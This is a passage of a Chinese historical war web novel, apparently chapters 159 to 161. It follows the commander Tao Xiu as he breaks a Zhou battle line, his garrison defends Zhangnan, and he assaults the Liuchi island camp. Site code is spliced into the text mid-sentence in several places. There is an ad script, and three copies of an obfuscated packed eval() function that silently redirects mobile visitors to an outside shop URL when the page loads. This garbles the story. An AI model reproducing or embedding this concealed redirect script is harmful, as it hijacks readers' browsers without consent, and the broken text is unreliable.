时间在头顶的牙旗中一点一滴流逝,旗帜的阴影渐短,晌午逼近,站在下风口的陶修能听见鲁云渊和左右先锋及参军商议进攻敌人的计策。 陶修带来的精兵不属于必胜营,但曹飞扬却将其安置在先锋队之后,其用意不言而喻。 进攻计划还没决定,忽听数里外动地而来的马蹄声,脚下大地微颤,轰隆声像蟒蛇匍匐于地向这里爬来。那怯战的闻声犹如毒蛇爬上脊骨,那血气方刚的则澎湃着汹涌的斗志。 陶修朝远处帅旗下的鲁云渊看去,老将军面如刀割,冷峻严肃,挥下迎战的红色旗子,声如洪钟:“左锋队,迎战。” 左先锋立即帅步骑兵迎上去,万马奔腾,骑兵在摇旗呐喊里冲锋陷阵,似海啸山崩。 两军像陨石坠地轰然撞击到一起,杀声震天,将士们无所畏惧,要趁这一鼓的气势击败敌手。 两军的将士前赴后继,人如洪流,步兵大批加入沙场,旷野的风比城中风大很多,风向举棋不定,惨叫哀嚎变着方向传入鲁云渊和贺功臣耳中,谁都占不了便宜,蒙蔽不上双目。 周军阵型严谨,以一字长蛇阵包围陈军,蛇尾的重骑兵以绞杀之力攻击陈军时,鲁云渊终于挪脚向前几步,稳住双腿站定脚跟,大声问身旁的人:“谁敢出战?” 陶修驱马向前,对鲁云渊道:“漳南虎兕军可入战。” 鲁云渊立即转头看向这年轻人,一时想不起此人姓名,沉声问:“多少兵力?” “三百轻骑兵,皆是虎兕军。” 鲁云渊思虑一瞬,立即下令:“你率三百轻骑攻击敌军右翼,”又对曹飞扬发令:“右先锋率五百重骑兵攻打敌军左翼。” 陶修与胡峤率轻骑兵倾巢而出,两支迅猛不可挡的骑兵像股新鲜的血液,给长蛇阵绞杀到晕头转向的陈军注入活力,陈军势气大振。 陶修绕过乱军直奔敌人右翼。 敌人的两翼果然如探子所言,兵车交错累叠成里外两层,外层的战车前面用皮革、木板遮挡,能防住大半敌军骑兵射出的箭矢,又不易被敌人冲散阵型。 陶修由马上放箭,觑着木板、皮革缝隙箭无虚发,但似他这样能力的弓箭手数量太少,不但造成不了敌人损失,自己的骑兵也在冲击阵脚时损失不少。敌军的箭矢如雨,陶修见同袍纷纷坠马落地、中箭惨叫,这些都是他精训出来能认清每个人名的兄弟,一时急的不知所措。 离他不远的胡峤不会用弓,却冒着枪林弹雨挥刀几番欲冲进敌阵,皆被周军的长矛长枪逼退。 “这叫擒贼先擒王,意思是说,两军对垒相持不下,勇者可入险境擒获敌军主帅,余者不战自败,这个行动需有极大的勇气和武力加身,以最小的损失争取最大胜利。” 十二岁那年盛夏时节,绒花树下,公仪家的公子捧着兵书对他朗朗分析擒贼擒王这一计策,孩童间的游戏、打仗都能以此一招致胜。 陶修扫视层层战车后的敌军,自问自己缺的是勇气还是武力,他什么都不缺,冲进敌阵就能救下身后一个个同袍。 “胡峤,掩护我——” 听见这声嘶吼,胡峤冲将过来,“城主?” 情急之下,陶修迅速吩咐:“敌军将领就在阵中,护我进去。”不等胡峤劝阻,落下话音就朝敌阵冲去。 陶修夹紧马腹,踩稳马镫,左手提枪抓辔,右手持林修宝剑,蹄音干脆急促,少年人奋勇当先,黑色长剑斩出道道猩红的血雾,斫断根根长枪。 周军眼见那匹黑色骏马冲风破浪撞击过来,左右两侧的战车立即朝一处挪动。被阻的黑马立在车前扬蹄嘶鸣,陶修调整马首欲避开敌军毫无破绽的防御,突然有七八同袍向他围拢,纷纷下马杀进敌阵,一边掩杀一 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 边为他们的城主冲开一条道。 这时,胡峤赶到,他跳下马拔出后背的双刀,怒吼一声,目眦欲裂,像地狱爬出的恶煞,所到之处血肉横飞,他踩着滚热的尸体为陶修劈开一条血路。 周军没见过白日就敢出现在人间的嗜血妖魔,纷纷拖着兵器撤到一旁,挤在人群里瞪大双眼,他们像一群家鸡,围观误进鸡舍的毒蛇。 同袍以血肉之躯撕开一条直达敌人阵中的道,陶修抽打马尻,目光炯炯,骁勇无畏,撞翻层层叠叠的人潮,直取阵中心的周军将领。 反应过来的周军一波又一波追在陶修的马后,直到他们亲眼看见这个来历不明却凶狠至极的人干脆利落斩掉他们步兵都统李猛的人头,方像受惊的鸡群轰然炸开。 陶修砍断李猛身后的旗帜,把滴血的宝剑插回后背,高举李猛人头,在乱军里冲撞一阵,高喊:“看这是谁的人头,谁的头颅?” 那颗头颅上还保留李猛临死前的震惊,滴滴答答的血洒遍沙场。有人大喊:“李都统被杀了,我们败了。”周军步兵大乱,全部朝阵后奔逃。 溃败的恐怖情绪像借了风势的大火,迅速烧至压阵的后军和督战队,尘烟滚滚,踩踏无数,庞大的军队迅速溃败。 见势不妙的贺功臣急命督战队赶上前以残忍的手段稳住军队的奔溃,他怒问逃回的百夫长:“夺旗斩将者是谁人?” 同样发出此问的鲁云渊急问身旁的人:“军中是何人造成的慌乱?” 斥候很快回报:“是我军一员强将杀了敌人阵中都统引起的溃乱。” “此人是谁?” “据报是李猛李都统。” “混账,我问此名勇将是谁?” “小的再去探!” “给我去探!!”贺功臣指着身旁的人怒喝。将士们此番溃败再无法凝聚心力与敌人硬战,他下令缓慢撤军。 土崩瓦解的敌军势气低落,陈军的左右先锋队趁胜追击,漳南来的虎兕军也冲进战场浴血奋战。 虎兕军的将士几乎都出身本地,一度要在朝廷的军队面前露出锋刃,他们在沙场上冲锋陷阵无所畏惧,连鲁云渊都看得呆了。 重新翻上战马的胡峤在浓烈的狼烟里寻找陶修的身影,方才那乱流陶修从他视野消失,好像被敌人裹挟着向北彻底不见了。他心急如焚,边追杀敌人边喊城主姓名。 直到身后熟悉的声音叫他:“胡峤,我在此。” 旷野的春风稀释战场上的狼烟,城主在轻烟后露出颀长的轮廓,满脸污血,双臂无力下垂,宝剑拖于地上,左手提头,脚下踩着横七竖八的死尸,他像从死人堆里刚爬出的恶鬼。又一阵浓烟过后,城主再次现身时,脸上的污血已被他擦净。 胡峤咧嘴大笑,庆幸城主还活着,他飞奔到虎兕队伍里抢来一杆旗帜,稳稳当当插在陶修身边,放声大喊:“城主,看看您的旌旗。” 写了大大“陶”字的旗帜上,还有几个小字:虎兕军。 159.要杀的就是你 仓皇退回善胜大营的贺功臣还没有打听到致使他惨败的人姓名,他在躺了伤兵的庵庐里来回走动、巡视,对着鲜血淋漓的伤员连句安慰都不给,脸阴沉的可怕,跟在他身后的人更不敢出声。 贺功臣走出庵庐,金色的暮光照在他疲倦、深沉的脸上,负在身后的拳头攒到发白,仰望不远处破败的帅旗叹了一口短暂愁闷的气。 有斥候来回报,“杀王都统的人是漳南的县尹陶修,此人冲破我军战车阵,闪至阵中杀了猝不及防的王都统。” 字字剜心,字字引恨,贺功臣眼中泛着滔天的杀意,“我只恨当时没杀此人,留着果然是祸患。” 贺功臣手扶宝剑,大步走出庵庐,立即让人传孙显近前,他大声对孙显说:“你的旧账可以了了。” 孙显抱拳领命:“请将军下令。” “漳南县尹此刻正与鲁云渊的大军兵合一处,料他城中防备不足,我命你现在率三千人马绕过曲镇攻打漳南,若能拿下此城,鲁云渊身后就多了根刺,必能让他首尾不能兼顾。他们今日刚赢了一仗,防备松懈,绝不会顾及到百十里外的漳南,出其不意,现在就出发。” 一听到陶修的名姓,孙显浑身就已烧成一团火,他恨在他身上留下贯通伤的公仪林此刻不在城中,否则这笔账一并算了。 他摸着胸口的刀伤,隔着几层衣料都能摸到蚯蚓一样的疤痕,医工说这一刀避开了心脉,才令他死里逃生捡回一条命,用猛药吊着性命足足养伤半年,终于到了报仇时刻。 除去澜河滩这一战场胜利外,陈、周军在另外两处下荡、柳池的战事则一胜一负,战斗进行至天黑方才把兵力撤的干干净净,各回大营。 澜河滩得胜的必胜营俘虏近四千战俘,鲁云渊下令将这些人悉数放回,有愿意留下的人则可立即加入到必胜营中,这些人当中一部分人是寿阳各地召集的百姓,愿加入必胜营的占多数,鲁云渊统统将之收拢入队。 至晚,鲁将军才准备见一见这个扭转战局一直被他轻视的年轻人。 陶修在几位将军、都统的注视下走进大帐,年轻的面容很容易让人忽略他的能力,身为虎兕军统领却连件像样的铠甲都没穿,一身青色衣裳,套一件简单的褐色裲裆甲,浑身上下被污血染透,连同腰间红色大带都成一片暗红,来得及清洗的只有一张干净的脸,他四肢颤栗,以齿咬紧嘴唇,这是奋战后的力竭之状。 鲁云渊用激动欣慰的眼神上下打量陶修,突然朝他肩膀拍下厚实的一掌:“陶修,陶休然?” 肩头有伤,这一掌的力道既重又热烈,陶修从牙缝挤出一口冷气,却心悦地回复:“下官正是陶修。” “卢思苌提起过你,但我没放在心上,不过我现在是知道他为何会提到籍籍无名的你了。贺功臣是块老姜,攻下寿阳并非一朝一夕就能做到,今日与贺功臣这一战的结果在我意料之外,你破了周军大阵使其溃不成军逃回本营,真乃一大功。” 陶修目光晶亮,鲁云渊的夸赞跟卢思苌一样,厚重温暖,鼓舞人心,激动之下只知抱拳,不知如何回答。 “军中不乏有胆识有武艺的人,但二者兼而有之的几乎凤毛麟角。虎兕军人少而精,作战勇猛,自今日起,在攻下寿阳前虎兕军就直接由我统帅,不知你有没有意见?” 想到自己带来的兵马被曹飞扬安排在先锋队之后,只有上战场充数的作用,陶修对卢云渊的肯定非常感激,忍不住替同袍们夸几句:“虎兕军愿为将军驱使。这些兄弟们在我手中精训三年,严寒酷暑无一日懈怠,绝对是支以一当十的精兵。” 今日的战场上,虎兕军虽只有区区一千人马,但其头领和将士冲锋陷阵的勇猛有目共睹,对于鲁云渊的赞赏,身为左右军先锋的曹飞扬等人无话可说。 鲁云渊继续道:“贺功臣受此挫败,必会紧闭城门、严守大营,周主必从最近各州召集的大军赶来驰援寿阳,一旦援军到此,再想拿下此城就更难了。” 曹飞扬道:“待将士们休息一日,明日再突袭善胜、常胜二营?” 鲁云渊转头问陶修:“陶县尹认为我们现在该如何行动?” 陶修道:“寿阳易守难攻,三面环水,除了持久战很难在短时间内拿下,将军到此已有十日,敌人的援军四五日内必到,下官也没有好计策最快速度攻下城池,能想到的还是前人用过的办法,堵截淝河水淹城池,寿阳城三面的护城河既是他的盾,也会成为我们攻击它的矛。” “我也正有此意,淮河水涨,这是对我们最有利的一点。” 一众人在帐中围着寿阳地形的沙盘议论、商讨,并设想多种进攻的方式,陶修站在一圈人的后面认真聆听,此时还没有插言的身份。 鲁云渊暂时定下的攻城计划是利用上涨的河水水淹城池。 确定好计策后众人一一从大帐退出。 陶修刚出大帐,就见安桂迎面跑来,拉过他的手臂全身检查,不住地问:“胡峤说你没伤,我不信,以前你可是每回都要挨上两刀的人,快给我看看。” 陶修展开长臂任安桂“搜身”,“真的没伤,说出来你可能不信,自从在枫叶寺看见幼时的影子,好像好运气也随之而来,我再没有过重伤。” 安桂搜身的手停顿一下,他听过城主的身世,不免为他可惜,在城主身上粗略地拍打一阵后笑说:“真的没伤,你这是苦尽甘来,以后会好的。” “伤员救治的怎么样了?” “分隔出来的窝棚不够躺,不少轻伤的都回自己帐中养伤了。我负责咱们漳南出来的兄弟们,这一仗少了不少人啊!” 陶修仰望头顶清冽的一弯月,天穹干净的能看见大朵大朵的云,只说了一句:“跟我去看看他们。” 他们刚走到虎兕军伤员治伤的庐篷外,一向稳重的胡峤匆匆赶来,在陶修耳边低语道:“有探子来报,周军一队人马绕过曲镇直奔漳南方向而去,看行军路线,目标就是漳南。” 陶修大惊失色,快步往庐外走找马:“大 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13901567|123338||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 概多少人?” “三四千人。城主,你现在要赶过去?” 陶修疾走几步停下,放松紧绷的身体,回头对胡峤说:“我出来时,把整个城的安危交给张城和周石,该相信他们的能力。” 孙显的军队奔袭至漳南时天已黑透,夜晚的柔风把这支队伍的肃杀之气带进城中。听到消息的张城和周石同时冲出早已熄了灯的屋子,分开赶往南门、西门。 站在南门城楼的张城冷静从容,借清棱棱的月色把楼下的危情扫进眼底,兵力不足千人,但摇旗呐喊声震彻全城,看来敌人把重兵都放在西门,这贺功臣隐瞒身份多次混入漳南来摸底,显然知道西门是漳南的薄弱处,“可惜,你算计错了,”张城暗暗庆幸:“幸而城主远见,这几年间不停对四面墙体修修补补、垒高加厚,此时墙外人就是提着灯笼也难以找到弱处。” “弓箭手招呼他们。”张城下令。 张城这边对付城外的敌人游刃有余,但西门的周石却无法冷静。 周石一身甲胄,登上城楼,月色下敌军的阵营像巨大诡异的嘴,如舌的冲车夹在队伍中央,以撼地的冲力撞击西门,轰隆声把这春日温和的夜晚震得粉碎。 两边将士皆精神抖擞、齐心协力,燃烧的火把烧尽苍白的月色,喊声在空旷的夜空徘徊。惊得睡不着的百姓纷纷披上单衣走出门外辩听远处的打仗声。 周石在仓促间仅能凑够一千人,下令以箭矢、乱石、流火击退敌人第一轮攻击。喘息之际,听见有人认出敌人头领是叫孙显的人,周石立即趴上垛口高喊:“楼下之人可是常胜营的都统孙显?” “正是本人。” “我□□爹。” 周石紧紧甲胄的腰带锁扣,摘掉兜鍪朝地上一丢,对眼前的将士高喊:“你们在我手下已有两三年,正是立功的时候,敌人现在两倍数量于我们,若有胆魄,必能以一敌十,相信你们这几年的成果,也要相信城主的能力,虎兕军绝对所向披靡,跟我冲出去杀退他们。” 森寒的兵器在振奋的手中高举,“杀——” 周石调出五百人随他杀出城外,留下五百在城内做另外防备。 或许是周石想为陶修报仇,或是城内这支精兵想验收三年的成果,城门洞开的瞬间,五百将士像奔腾出的洪水,摇旗呐喊冲向十来丈外的敌军。 这帮留在城中的虎兕军凶猛强悍,放眼看去,壮硕的身体和没有菜色的脸,一看就是被城主精心喂养、训练出来的人。 本领平庸的孙显虽有强烈的复仇想法,奈何实力有限,与周石斗了几十回合后落了下风,心下胆怯不敢恋战,拨转马首朝火把的光照不到的暗处逃窜,盲目逃窜时,也骇然地看着将士在敌人的攻击下溃散四逃,场面杂乱无法控制。 早就想真正上一回战场的周石越杀越勇,甚至有点兴奋,他在混乱的人流中咬定孙显,湿漉漉的左手几次翘起手指松动长槊,紧追不舍,口中咆哮:“逃不掉的,让老子来成全你的英名。” 160.城主你真的勇 周石使出头一次上阵杀敌难以抑制的兴奋疯狂劲朝孙显投出长槊,那根长到几乎望不见头的长槊穿透孙显的后背,瞬间的疼痛和力道将他从马上掀落于地,从胸口支棱出来的长槊撑着他的躯体令其无法倒地。 周石跳下马,朝掌心吐口唾沫猛搓几下,拔出腰间利剑走到孙显跟前,居高临下,冷声道一句:“我为悬尸于江上的十几个兄弟报仇,也给两次落在你手中遭受折磨的城主报仇,放心,我会让你死的痛快点。” 话音刚落,周石一剑斩下孙显的人头,而后又跳上马,在人群中呼喊:“孙显已死,你们还战什么?为何而战?” 苍白月色下的一场血腥、热血的战斗因这句话迅速结束。 虎兕军的五百人把孙显手下的人马俘虏大半。 张城赶来西门时,正碰上得胜的周石在被俘的周军面前耀武扬威,二人击掌庆贺,为这一胜仗兴奋不已,好歹是不负城主之托,完美无缺地守住漳南城。 此一战,虎兕军的威名随着众人之口在近邻的几个州郡传开,传言这是一支不杀战俘、不犯百姓,作战勇猛、军纪严明的精锐,听闻者特意跑来漳南一睹虎兕军的风采。 表面平静的陶修听到漳南安然无恙的消息时,终于松开咬了一夜的嘴,对胡峤、安桂等人说:“张城、周石的本领坚守小城绰绰有余,这一夜我就是在杞人忧天。” 此话很快传至鲁云渊耳中,他把陶修叫到跟前,仔细询问漳南城的兵力及陶修口中的“将才”,很严肃也很委婉地提出此时军中需要周石这样悍勇的人,越多越好。 陶修自然心领神会。 援救寿阳的周军援军时刻在逼近,得胜后的鲁云渊依旧皱着粗糙的粗眉,趴在寿阳的沙盘上把此地的山山水水拨弄的清清楚楚,可惜缺少一双此时能在沙盘上翻云覆雨的擎天的巨掌,攻城,四日内必须攻下城池,刻不容缓!! 大战之后连续过了三个平平静静的日子,柔风白云,这三日,正是公仪林带陆颢登上石头城检视手下雄师之时,他感受能开阔人心胸的江风,自信满满对陆颢说他有个心爱之人,且与那人的关系绝对不同于众生里那淡如温水的夫妻,他相信,远在沙场上杀敌的恋人一定像他一样深深思念彼此。 实则,身在寿阳忙到头晕眼花的陶修根本无瑕惦念他,只在夜深人静时短暂地想起。 战事吃紧,这三个夜深人静全兵营的人都睁着眼睡觉时,陶修在清朗朗一片月色下,孤独感突然而至,京城那位锦公子的身影在脑中挥之不去。 来回巡营的将士列队整齐地从他身旁走过,铠甲发出生硬冰冷的摩擦声。 连续三个晚上,陶修都窝在帐篷外的稻草堆里,盯着清冷的一弯月,想起和公仪林约定的月下对饮还未实现,思索一向爱好和平、厌恶杀伐的自己为何卷入这两国的纷争中,并且以身为异国人的身份来搅这趟浑水。 如果当初留在江陵,这温和的三月应该正和萧蕴驰骋在去基州的路上。 不远处的胡峤见城主迟迟不肯进帐歇息,走过来低声问:“城主有何忧虑,是为攻城的事?” 难得见胡峤不带双刀,陶修拍拍身边示意他坐下,“这两日鲁将军寝食不安,轮不到我忧虑,听候他调遣即可。” “那就是忧虑漳南县?” “漳南固若金汤,张城、周石打了场漂亮的仗,丝毫不必忧虑。胡峤,你是哪里人,我猜你身上的故事绝不比我师父少?” 胡峤不敢坐他身侧,扯过一把稻草铺在地上坐下,把说话声压得很低:“我曾是齐国人,后是周人,现在跟着城主,我便是陈国人。” 陶修哑然失笑:“可惜你城主都弄不清自己是哪国人?我从小长在吴郡,作为军户,八九岁起就明白长大后要为陈国效力,现在真到效力时我却非常迷惘,明明忠于年少时迫不得已立下的远志,但我觉得背叛了自己,还背叛了梁国。” “城主,乱世里能活下来就够了,真的,能活着就够了,哪管那么多仁义礼智信去坚守,百姓活着无非一口饭,根本不在乎国主姓甚名谁。若按您的想法,我胡峤身历三国之人,已无立锥之地。” 陶修勉强笑了一下:“是啊,活着已经很艰难了,哪还管国主姓什么。” “我斗胆再问城主,若是梁国、陈国亡了,您会不会觉得在这世上无立身之地,无所依靠?” 陶修没有立即回答,仰望天穹的皓月,嘴里发出几不可闻的叹息,“若是真的亡了国,即便活着,会很痛苦吧,没有方向,甚至不知为何而生。” “我就不会这么想,我胡峤是个粗人,身上没有城主的重担,活在哪里都一样,您之所以寻不到方向,是因为你把梁和陈的存亡当作自己的责任,想尽全力改变结局,所以才痛苦。” “偏安一隅的国只会成为冢中枯骨,越来越弱直至覆灭,古来一直如此,这就是卢将军、鲁将军和所有将士们在此拼命的原因,也是我上沙场的原因。周国早就有平定江南的野心,为了不做亡国之民,只能在周没有还醒之时拿回更多曾经的疆土稳操话语,两国对峙也罢、睦邻友好也罢,有辽阔的疆土才不至于小心翼翼如履薄冰。国家安定,百姓才能安宁。”陶修略顿一下,想起生活多年的吴郡,似乎有点理解梁主的不甘,“我熟悉的吴郡,万一哪天被人肆意践踏,我绝不会当没看见,让我视北方异族为主,怎能甘心?” “这些痛苦在我看来全没必要,还是看您如何对待这些事情。” 陶修笑道:“没错,确实看自己能不能想通。今夜你的话很多啊,我们的谈话切莫跟旁人提起,大敌当前不该说此晦气话。不知鲁将军欲何时跟贺功臣决战,你快回去睡,用得到你的地方很多。胡峤,你站在我身边时无来由的令人感觉踏实,就像我看见师父一样踏实。” “多谢城主夸赞。” 胡峤爬起来欲回帐,走了两步又停下,转 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13913124|123338||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 身道:“城主,你真的很勇,从前我小看你了。我一直以为无视生死的拼杀才是勇武,直到看见你在两军阵前临危不惧、爱惜性命还能无坚不摧,我才明白你的行事方式才是真正的勇,勇而不莽。” “能得到你这句话,看来我还有点骄傲的资本。” 突袭善胜大营的军令下的非常急促,鲁云渊临时决定的攻城计划,休整三日的陈军主力在黎明时分突然向善胜大营进攻,首尾相接的几百艘船舰黑压压一片,把寿阳城围的密不透风。 陶修则率五千兵马向寿阳的另一大营常胜进攻,已从漳南调遣过来的周石和胡峤作为这支虎兕军的左右先锋。 常胜大营北面是条宽阔的大河,河中心有长形小岛,名曰柳池,营地就在中心岛柳池上。 知道敌手将是这几日在军中传的沸沸扬扬的虎兕军时,谯真迅速把兵力布防妥当,亲率兵马迎头等着传闻中的虎兕军。 四日前,听说就是这支军的头领冲破贺将军的大阵,致使善胜营大败。同时间打了胜仗的常胜营在柳池这里却赢的非常精彩,杀得陈军连跑二十里。 谯真不信虎兕军的头领是个钢筋铁骨的怪神,今日必叫那人明白,若没有真本领沙场上的输赢是多么的随机和胡来。 谯真远远看着敌军的首领,虽无法看清那人相貌,但看其轮廓就像养尊处优出来战场镀金的贵公子,很惊讶地问身边部下:“让贺将军恨的牙痒的就是此人?此人如此年少,真是万军中取李猛人头之人?” “就是他,此人喜系一条红绸于腰间,醒目又狂妄,我识得此人,他最拿手的本领就是擒贼擒王。” “他左右两军的先锋又是何人?” “不认识,但都是漳南出来的。” 鼓声震天,两军厮杀,这场不讲究谋略和算计的面对面硬拼,拼的是勇猛无畏的战力,拼的是领头将军万夫不当的气势,虎兕军这两样都不缺。 但陶修还是从仅有的五千人中留下一支,悄悄隐藏在离柳池四五里远的密林中,由胡峤带领。 谯真已于军中看见陶修的能力,确实是个骁勇善战的人,他抚过花白的胡须,望着手面上凸起的青筋,不禁感慨这永无止境的地狱里永远都有善战的后生出现,记得当年他初拿起长戟时也如对面的年轻人一般年纪,多年过去,该死的战场一刻没有变过,死在战场上的面孔却一张换过一张。 谯真提上沉重的兵器亲自上阵,冲进硝烟弥漫、血腥混杂的战场,要替贺功臣拔去眼中钉,也要试试现在的年轻人是不是真的代代相替。 他披坚执锐,目光凌然,直奔腰扎红绸的年轻人,咬牙切齿间不免好奇那年轻人为何会在沙场上系这么条醒目的腰带,分明不怕人靠近他斩杀他。 烈焰、强弩、流石已夺走一条又一条人命,两军激战久不分胜负,陶修一如既往想擒杀敌军将领再击溃周军气势,减少最低的伤亡,谁知,谯真亲自送上门来。 161.这小子真厉害 与所见过的战将不同,陶修从谯真脸上看不到任何杀气和冷酷,没有斩将杀敌的冰冷戾气,没有邀功求赏的狰狞欲望,只看到一个老将尽忠职守地守护脚下疆土的坚定,在做他该做的事情。 两个相似的人见面,什么话都没说,都清楚只有迅速杀掉眼前的人这场仗才能早点结束。 谯真用粗壮的大腿夹紧马腹,用劲拍马冲刺,陶修紧握长戟,奋力向前,周围喊杀的人群在他们极速的奔跑中变成虚影,两人短兵相接,斗了几十回合愣是一句话都没问。 陶修今日终于遇到对手。 谯真的枪法纯熟,力气强大,刺下的每一枪沉重又经验老到,稍有片刻的迟疑就要挨着他的当头一棒,陶修抵挡一番,双臂被震的发酸发麻,不得不拍马跑开丈许化解险情。 沙场硝烟弥漫,呛得人大口呼吸,陶修和谯真被刮过的浓烟熏得挤眉弄眼,都很想说:重新挑个地儿继续战。 相似的人通常会做相似的决定,两人迅速转移到一辆燃烧的战车旁继续战斗。 谯真不得不信这个年轻人确实是四日前打破军阵的小鬼,他有处变不惊的耐力不说,还有绝佳的武艺,像只耐心捕猎的狼。 就身边这可恨的硝烟,谯真几次抓起铠甲下柔软的衣裾擦拭眼睛,而那个叫陶修的居然在马上纹丝不动,任浓烟在眼眶里放肆。 两方死伤渐多,没有更多时间跟这年轻人耗下去,谯真咆哮一声,巨石一样的身影滚向陶修,长枪化龙,觑着他的咽喉直刺下去。 千钧一发,陶修横戟于前挡住谯真夺命的一枪。 谯真顺势一挑,竟将陶修的长戟从手中打落。 不敢片刻分心,陶修立即从后背掣出昭明大宝剑,不顾性命之忧向谯真的马扑去,两把兵器火花四溅,他用没有长度优势的利剑化去对手的劈、刺 、挑,很快将谯真死死压制。 另一边的周石如鱼得水,带领虎兕军在尘土飞扬的沙场上拼命厮杀,但周军兵力充沛,势气旺盛,久不分胜负。 就在双方胶着、陶修与谯真还没讲上一句话的时候,从西边的侧翼杀出一支人马,地动山摇往这里驰来。 这是胡峤按陶修吩咐藏于密林中的人马,他们的出现,数量虽不多,但胡峤明白,确实已达到城主想要的效果——兵马给沙场上的陈军带来了锐不可当的气势。 这支千人的军队如天降神兵,周军吓得东奔西走,不少人拖着兵器逃回河中小岛柳池上。谯真大骇,就这惊惧的一瞬,陶修的剑从他耳边擦过。 谯真被耳根的凉风激的浑身一颤,终于开口说出第一句话:“撤回柳池——” 柳池布防严密,挡住了陈军的攻击,双方形成新的对峙场面,一方守在河中的岛上,另一方无法涉水只能望岛兴叹。 正午的太阳又亮又刺目,暂时歇战的将士在灼热的日头下迅速褪去热血奔腾的杀气。 周石指着躺了一地的士兵对陶修道:“该一鼓作气击败周狗,照这样歇下去恐怕不易拿下柳池啊。” 胡峤道:“鲁将军并未给城主船只,到不了河心,只能坚守此处等着他们上岸。” 陶修抬头望了下时辰,对二人吩咐道:“起灶生火,先让将士们把饭吃了,分批歇息,我们再等等。” “起灶生火?”胡峤、周石以为听错了,哪有仗打了一半就开始吃饭的?但城主一向谨慎,二人一时不知该说什么。 周石问:“等什么?” “等张城。” 晌午造饭这段时间,河心岛上的周军和对岸的陈军隔着宽阔的河面互骂对方祖宗,骂的口水四溅、声嘶力竭,这场口头发泄倒是下饭的好调料。 歇息期间,陶修没有听到任何寿阳城战况的消息,命去打探军情的斥候迟迟不回,自己这边也久久拿不下柳池,寿阳的难攻众所周知,不禁为这场投入全部兵力的决战隐隐担忧。 湖心岛上,有人指着岸上的炊烟对谯真说:“将军,敌人在吃饭!” “吃饭?”谯真也糊涂了,还有这心情吃饭,简直不把我当回事,岂有此理,“我们也吃饭——” 约申正时刻,昏昏欲睡的陈军突然一个跟着一个站起来,纷纷朝西探头,窃窃私语:“有船向这里开过来,是谁?” “看旗帜像是我们的船,”他们辨认过后叫道:“没错,就是我们的艨艟队。”见到这两年来几乎每日都摸上一遍的船队,陈军情绪非常振奋,不待令下就摸了兵器从地上爬起来。 张城站在唯一一艘小型楼船上替后面的艨艟小舟引路,旌旗飞扬,船群簇集,漳南这支船只数量没能破百不起眼的水师浩浩荡荡顺流而来。 战鼓再次击响,虎兕军迅速跳上小舟往柳池进攻。 常胜营背靠大河,因而也配备多条战舰。在暮色笼罩前的两个时辰,两军在水面上又展开激战,陶修自行编制的简陋水师没有大型战船,只能以最原始的的蛮力与周军争锋。 激战中,桨、石头、锚、木棍、兵器等杂物随着尸体不停沉入大河里,虎兕军简陋的船只被打翻多条,落水者求生时纷纷往岛上爬,又被敌人捅死捅伤无数,清澈、沸腾的河水很快把猩红的血稀释的干干净净。 陶修眼见形势对自己不利,从一名士卒手中接过鼓槌,对准厚重的战鼓有节奏的猛击,张城、周石等人朝这边看过来,势气稍有振奋,陶修大喊一声:“胡峤,随我登上柳池。” 荡过河面的晚风凉意很大,站在柳池上督战的谯真用袖子轻拭额头粗汗,须发抖动,观战很久才哑声问:“前面河段早就被打下暗桩封堵,他们为何还能顺利开到这里?” 身后的部下回答的犹犹豫豫,“一是敌人的船队小而轻,二是,他们一路潜入水中解除暗桩,摸索过来了。” “小小漳南为何如此难缠?轻骑、步兵如龙似虎,居然连水师都有。”谯真质疑的声音带着许多无奈和怕丢掉柳池的惧怕,沉默一会后下令道:“他们的弱势就在船舰薄陋上,一定要阻止他们登陆柳池。” 下此命令时,陶修、胡峤已率千余人跳下船舰登上柳池。 柳池作为常胜营的驻扎点之一,壁垒的构建并不严密。虎兕军刚踏上坚硬的泥地,就像凶兽四散扑窜。 周军退回柳池的行为显然在军中造成许大危害,因为会败,才会退,将士们 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13930366|123338||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 提心吊胆提防敌军攻上岸。此时,敌人果然已至岸边,人人生出悚惧退缩的心理。 陶修正愁谯真会躲在结实的壁垒之后不出,哪知戍栅的大门向两侧打开,谯真和手下的部众驱策战马轰隆隆冲出来。 “城主带我杀敌,岂能无马!!”胡峤望着陶修立于军前孤削的背影,沉声嚷了一句,拔了刀就朝谯真铁壁似的马阵迎上去,他的勇猛再次震撼同袍,都抄起兵器激流而上。 胡峤在敌阵中发挥巨大的爆发力,斩获一片战马后交给陶修。 得了马的陶城主如虎添翼,翻上马背直奔谯真而去。 